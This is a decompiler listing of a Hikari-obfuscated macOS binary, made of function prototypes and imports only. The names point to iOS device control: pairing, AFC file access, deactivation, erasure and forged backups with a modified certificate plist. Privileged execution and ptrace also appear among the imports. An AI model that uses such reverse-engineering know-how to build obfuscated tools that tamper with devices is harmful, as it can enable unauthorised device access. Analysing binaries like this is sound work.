void __cdecl -[MbdbRecord .cxx_destruct](MbdbRecord *self, SEL);
id __fastcall HikariFunctionWrapper_12(objc_class *a1);
id __fastcall HikariFunctionWrapper_696_1(objc_class *a1);
id __fastcall HikariFunctionWrapper_697_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_698_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_699_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_700_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_701_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_702_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_703_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_704_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_705_1(objc_class *a1);
id __fastcall HikariFunctionWrapper_706_1(objc_class *a1);
id __fastcall HikariFunctionWrapper_707_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_708_1(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_709_1(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_710_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_711_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_712_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_713_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_714_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_715_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_716_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_717_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_718_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_719_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_720_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_722_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_723_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_724_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_725_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_726_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_727_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_728_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_729(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_730(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_731(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_732(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_733(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_734(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_735(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_736(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_737(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_738(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_739(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_740(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_741(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_742(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_743(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_744(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_745(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_746(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_747(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_748(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_749(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_750(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_751(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_752(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_753(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_754(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_755(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_756(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_757(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_758(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_759(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_760(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_761(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_762(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_763(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_764(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_765(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_766(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_767(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_768(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_769(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_770(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_771(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_772(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_773(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_774(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_775(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_776(void *a1);
id __fastcall HikariFunctionWrapper_777(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_778(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_779(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_780(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_781(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_782(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_783(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_784(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_785(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_786(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_787(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_788(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_789(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_790(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_791(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_792(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_793(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_794(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_795(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_796(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_797(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_798(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_799(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_800(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_801(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_802(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_803(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_804(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_805(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_806(void *a1, const char *a2);
Backup *__cdecl -[Backup initWithFiles:](Backup *self, SEL, id);
void __cdecl -[Backup writeToDirectory:](Backup *self, SEL, id);
id __cdecl -[Backup generateManifestDb](Backup *self, SEL);
id __cdecl -[Backup generateStatus](Backup *self, SEL);
id __cdecl -[Backup generateManifest](Backup *self, SEL);
id __cdecl -[Backup hashedFilenameForDomain:path:](Backup *self, SEL, id, id);
void __cdecl -[Backup copyAndModifyCertPlistWithUDID:toDirectory:](Backup *self, SEL, id, id);
NSArray *__cdecl -[Backup files](Backup *self, SEL);
void __cdecl -[Backup setFiles:](Backup *self, SEL, id);
void __cdecl -[Backup .cxx_destruct](Backup *self, SEL);
id __fastcall HikariFunctionWrapper_13(objc_super *a1, const char *a2);
id __fastcall HikariFunctionWrapper_703_2(objc_super *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_704_2(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_705_2(NSString *a1);
id __fastcall HikariFunctionWrapper_706_2(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_707_2(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_708_2(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_709_2(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_710_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_711_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_712_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_713_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_714_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_715_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_716_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_717_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_718_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_719_1(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_720_1(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_722_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_723_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_724_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_725_1(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_726_1(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_727_1(NSString *a1);
id __fastcall HikariFunctionWrapper_728_1(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_729_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_730_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_731_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_732_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_733_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_734_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_735_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_736_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_737_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_738_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_739_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_740_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_741_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_742_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_743_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_744_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_745_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_746_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_747_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_748_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_749_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_750_0(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_751_0(void *a1);
id __fastcall HikariFunctionWrapper_752_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_753_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_754_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_755_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_756_0(objc_class *a1);
id __fastcall HikariFunctionWrapper_757_0(objc_class *a1);
id __fastcall HikariFunctionWrapper_758_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_759_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_760_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_761_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_762_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_763_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_764_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_765_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_766_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_767_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_768_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_769_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_770_0(void *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_771_0(void *a1, void *a2);
id HikariFunctionWrapper_772_0();
id HikariFunctionWrapper_773_0();
id __fastcall HikariFunctionWrapper_774_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_775_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_776_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_777_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_778_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_779_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_780_0(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_781_0(NSString *a1);
id __fastcall HikariFunctionWrapper_782_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_783_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_784_0(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_785_0(NSString *a1);
id __fastcall HikariFunctionWrapper_786_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_787_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_788_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_789_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_790_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_791_0(void *a1, const char *a2);
void __fastcall __noreturn terminateApplication(__int64 a1, __int64 a2);
// __int64 __fastcall AFCConnectionClose(_QWORD); weak
// __int64 __fastcall AFCConnectionOpen(_QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AFCDirectoryClose(_QWORD, _QWORD); weak
// __int64 __fastcall AFCDirectoryOpen(_QWORD); weak
// __int64 __fastcall AFCDirectoryRead(_QWORD); weak
// __int64 __fastcall AFCFileInfoOpen(_QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AFCFileRefClose(_QWORD); weak
// __int64 __fastcall AFCFileRefOpen(_QWORD); weak
// __int64 __fastcall AFCFileRefRead(_QWORD); weak
// __int64 __fastcall AFCFileRefWrite(_QWORD, _QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AFCKeyValueClose(_QWORD); weak
// __int64 __fastcall AFCKeyValueRead(_QWORD); weak
// __int64 __fastcall AFCRemovePath(_QWORD, _QWORD); weak
// __int64 __fastcall AMDCopyArrayOfDevicesMatchingQuery(_QWORD); weak
// __int64 __fastcall AMDServiceConnectionInvalidate(_QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AMDServiceConnectionReceive(_QWORD); weak
// __int64 __fastcall AMDServiceConnectionSend(_QWORD); weak
// __int64 __fastcall AMDeviceConnect(_QWORD); weak
// __int64 __fastcall AMDeviceCopyValue(_QWORD); weak
// __int64 __fastcall AMDeviceCreateCopy(_QWORD); weak
// __int64 __fastcall AMDeviceDeactivate(_QWORD); weak
// __int64 __fastcall AMDeviceDisconnect(_QWORD); weak
// __int64 __fastcall AMDeviceIsPaired(_QWORD); weak
// __int64 __fastcall AMDeviceNotificationSubscribeWithOptions(_QWORD); weak
// __int64 __fastcall AMDevicePair(_QWORD); weak
// __int64 __fastcall AMDeviceSecureStartService(_QWORD); weak
// __int64 __fastcall AMDeviceSetValue(_QWORD, _QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AMDeviceStartService(_QWORD, _QWORD, _QWORD, _QWORD); weak
// __int64 __fastcall AMDeviceStartSession(_QWORD); weak
// __int64 __fastcall AMDeviceStopSession(_QWORD); weak
// __int64 __fastcall AMDeviceValidatePairing(_QWORD); weak
// __int64 __fastcall AMSEraseDevice(_QWORD); weak
// __int64 __fastcall AMSInitialize(_QWORD, _QWORD, _QWORD); weak
// OSStatus __cdecl AuthorizationCopyRights(AuthorizationRef authorization, const AuthorizationRights *rights, const AuthorizationEnvironment *environment, AuthorizationFlags flags, AuthorizationRights **authorizedRights);
// OSStatus __cdecl AuthorizationCreate(const AuthorizationRights *rights, const AuthorizationEnvironment *environment, AuthorizationFlags flags, AuthorizationRef *authorization);
// OSStatus __cdecl AuthorizationExecuteWithPrivileges(AuthorizationRef authorization, const char *pathToTool, AuthorizationFlags options, char *const *arguments, FILE **communicationsPipe);
// OSStatus __cdecl AuthorizationFree(AuthorizationRef authorization, AuthorizationFlags flags);
// CCCryptorStatus __cdecl CCCrypt(CCOperation op, CCAlgorithm alg, CCOptions options, const void *key, size_t keyLength, const void *iv, const void *dataIn, size_t dataInLength, void *dataOut, size_t dataOutAvailable, size_t *dataOutMoved);
// unsigned __int8 *__cdecl CC_SHA1(const void *data, CC_LONG len, unsigned __int8 *md);
// unsigned __int8 *__cdecl CC_SHA256(const void *data, CC_LONG len, unsigned __int8 *md);
// CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray);
// const void *__cdecl CFArrayGetValueAtIndex(CFArrayRef theArray, CFIndex idx);
// CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length);
// const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData);
// CFIndex __cdecl CFDataGetLength(CFDataRef theData);
// CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks);
// CFIndex __cdecl CFDictionaryGetCount(CFDictionaryRef theDict);
// void __cdecl CFDictionaryGetKeysAndValues(CFDictionaryRef theDict, const void **keys, const void **values);
// CFTypeID CFDictionaryGetTypeID(void);
// const void *__cdecl CFDictionaryGetValue(CFDictionaryRef theDict, const void *key);
// void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value);
// CFTypeID __cdecl CFGetTypeID(CFTypeRef cf);
// CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr);
// CFDataRef __cdecl CFPropertyListCreateData(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFPropertyListFormat format, CFOptionFlags options, CFErrorRef *error);
// CFPropertyListRef __cdecl CFPropertyListCreateWithData(CFAllocatorRef allocator, CFDataRef data, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error);
// void __cdecl CFRelease(CFTypeRef cf);
// CFComparisonResult __cdecl CFStringCompare(CFStringRef theString1, CFStringRef theString2, CFStringCompareFlags compareOptions);
// CFTypeID CFStringGetTypeID(void);
// NSString *NSHomeDirectory(void);
// void NSLog(NSString *format, ...);
// NSArray *__cdecl NSSearchPathForDirectoriesInDomains(NSSearchPathDirectory directory, NSSearchPathDomainMask domainMask, BOOL expandTilde);
// NSString *__cdecl NSStringFromSelector(SEL aSelector);
// NSString *NSTemporaryDirectory(void);
// NSString *NSUserName(void);
// CFDictionaryRef __cdecl SCDynamicStoreCopyProxies(SCDynamicStoreRef store);
// SCDynamicStoreRef __cdecl SCDynamicStoreCreate(CFAllocatorRef allocator, CFStringRef name, SCDynamicStoreCallBack callout, SCDynamicStoreContext *context);
// Boolean __cdecl SCDynamicStoreSetValue(SCDynamicStoreRef store, CFStringRef key, CFPropertyListRef value);
// CFDataRef __cdecl SecCertificateCopyData(SecCertificateRef certificate);
// int __cdecl SecRandomCopyBytes(SecRandomRef rnd, size_t count, void *bytes);
// SecCertificateRef __cdecl SecTrustGetCertificateAtIndex(SecTrustRef trust, CFIndex ix);
// CFIndex __cdecl SecTrustGetCertificateCount(SecTrustRef trust);
// void __cdecl _Block_object_assign(void *, const void *, const int);
// void __cdecl _Block_object_dispose(const void *, const int);
// int *__error(void);
// const mach_header *__cdecl _dyld_get_image_header(uint32_t image_index);
// const char *__cdecl _dyld_get_image_name(uint32_t image_index);
// uint32_t _dyld_image_count(void);
// void __cdecl _dyld_register_func_for_add_image(void (__cdecl *func)(const mach_header *, intptr_t));
// uint32_t arc4random(void);
// uint32_t __cdecl arc4random_uniform(uint32_t __upper_bound);
// int __cdecl atoi(const char *);
// __int64 __cdecl atoll(const char *);
// BOOL __cdecl class_addMethod(Class cls, SEL name, IMP imp, const char *types);
// Method __cdecl class_getClassMethod(Class cls, SEL name);
// Method __cdecl class_getInstanceMethod(Class cls, SEL name);
// int __cdecl close(int);
// double __cdecl difftime(time_t, time_t);
// void __cdecl dispatch_async(dispatch_queue_t queue, dispatch_block_t block);
// dispatch_queue_global_t __cdecl dispatch_get_global_queue(intptr_t identifier, uintptr_t flags);
// void __cdecl dispatch_once(dispatch_once_t *predicate, dispatch_block_t block);
// dispatch_semaphore_t __cdecl dispatch_semaphore_create(intptr_t value);
// intptr_t __cdecl dispatch_semaphore_signal(dispatch_semaphore_t dsema);
// intptr_t __cdecl dispatch_semaphore_wait(dispatch_semaphore_t dsema, dispatch_time_t timeout);
// dispatch_time_t __cdecl dispatch_time(dispatch_time_t when, int64_t delta);
// int __cdecl dladdr(const void *, Dl_info *);
// int __cdecl dlclose(void *__handle);
// void *__cdecl dlopen(const char *__path, int __mode);
// void *__cdecl dlsym(void *__handle, const char *__symbol);
// int __cdecl dup2(int, int);
// void __cdecl __noreturn exit(int);
// int __cdecl fclose(FILE *);
// int __cdecl fflush(FILE *);
// char *__cdecl fgets(char *, int, FILE *);
// int __cdecl fileno(FILE *);
// int __cdecl fputs(const char *, FILE *);
// void __cdecl free(void *);
// char *__cdecl getenv(const char *);
// int __cdecl gethostuuid(uuid_t, const timespec *);
// pid_t getpid(void);
// int __cdecl isatty(int);
// int __cdecl kill(pid_t, int);
// void *__cdecl malloc(size_t __size);
// IMP __cdecl method_getImplementation(Method m);
// id __cdecl objc_alloc(Class);
// void __cdecl objc_autoreleasePoolPop(void *context);
// void *objc_autoreleasePoolPush(void);
// id __cdecl objc_autoreleaseReturnValue(id);
// id __cdecl objc_begin_catch(void *exc_buf);
// void __cdecl objc_destroyWeak(id *location);
// void objc_end_catch(void);
// void __cdecl objc_enumerationMutation(id obj);
// Class __cdecl objc_getClass(const char *name);
// id __cdecl objc_getProperty(id self, SEL _cmd, ptrdiff_t offset, bool atomic);
// id __cdecl objc_loadWeakRetained(id *location);
// id objc_msgSendSuper2(objc_super *, SEL, ...);
// void objc_msgSend_stret(id, SEL, ...);
// id __cdecl objc_retainAutorelease(id);
// id __cdecl objc_retainAutoreleasedReturnValue(id);
// void __cdecl objc_setProperty_atomic(id self, SEL _cmd, id newValue, ptrdiff_t offset);
// void __cdecl objc_storeStrong(id *location, id obj);
// id __cdecl objc_storeWeak(id *location, id obj);
// id __cdecl objc_unsafeClaimAutoreleasedReturnValue(id);
// int open(const char *, int, ...);
// int __cdecl pclose(FILE *);
// FILE *__cdecl popen(const char *, const char *);
// int printf(const char *, ...);
// int __cdecl ptrace(int _request, pid_t _pid, caddr_t _addr, int _data);
// int __cdecl puts(const char *);
// SEL __cdecl sel_registerName(const char *str);
// unsigned int __cdecl sleep(unsigned int);
// int snprintf(char *__str, size_t __size, const char *__format, ...);
// int __cdecl strcmp(const char *__s1, const char *__s2);
// size_t __cdecl strlen(const char *__s);
// char *__cdecl strstr(char *__s1, const char *__s2);
// int syscall(int, ...);
// int __cdecl sysctl(int *, u_int, void *, size_t *, void *, size_t);
// int __cdecl system(const char *);
// time_t __cdecl time(time_t *);
// int __cdecl usleep(useconds_t);
// void __cdecl uuid_unparse_upper(const uuid_t uu, uuid_string_t out);
// pid_t __cdecl wait(int *);
// id objc_msgSend(id, SEL, ...);
// void __cdecl objc_release(id);
// id __cdecl objc_retain(id);
//-------------------------------------------------------------------------
// Data declarations
__int128 xmmword_10025A3E0 = 5LL; // weak
char *off_10025B0E0[5] =
{
&byte_100265430,
&byte_1002653B0,
&byte_100265470,
&byte_100265370,
&byte_1002653F0
}; // weak
char *off_10025B110[12] =
{
&byte_100266070,
&byte_1002661D0,
&byte_100265DF0,
&byte_100265DA0,
&byte_100265D50,
&byte_100266190,
&byte_100265D10,
&byte_100265CD5,
&byte_100265FF0,
&byte_100265E90,
&byte_100265CB0,
&byte_100265C70
}; // weak
char *off_10025B180[2] = { &byte_100266781, &byte_100266A90 }; // weak
char *off_10025B390[7] =
{
&byte_100266CB5,
&byte_100266B50,
&byte_100266B44,
&byte_100266CAA,
&byte_100266B37,
